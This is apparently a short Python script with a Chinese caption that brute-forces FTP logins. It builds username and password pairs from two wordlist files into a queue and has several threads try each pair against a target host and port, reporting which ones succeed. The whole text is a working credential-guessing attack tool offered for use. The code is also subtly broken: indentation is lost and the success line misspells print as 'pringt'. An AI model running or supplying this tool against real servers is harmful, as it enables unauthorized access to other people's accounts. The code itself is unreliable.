采用队列的思路,避免了划分文件的代码,提高了代码的整体简约/阅读性
import ftplib
import sys
import threading
import queue
def ftp_brute(ip,port):
ftp = ftplib.FTP()
ftp.connect(ip,int(port))
while not q.empty():
dict = q.get()
dict = dict.split('|')
username = dict[0]
password = dict[1]
try:
ftp.login(username,password)
ftp.retrlines('list')
pringt(username + '|' + password + '|ok')
except ftplib.all_errors:
print(username + '|' + password + '|no')
pass
if __name__ == '__main__':
ip = sys.argv[1]
port = sys.argv[2]
userfile = sys.argv[3]
passfile = sys.argv[4]
threading_num = sys.argv[5]
q=queue.Queue()
for username in open(userfile):
for password in open(passfile):
username=username.replace('\n','')
password=password.replace('\n','')
zidian=username + '|' + password
q.put(zidian)
for x in range(int(threading_num)):
t = threading.Thread(target=ftp_brute,args=(ip,int(port)))
t.start()
|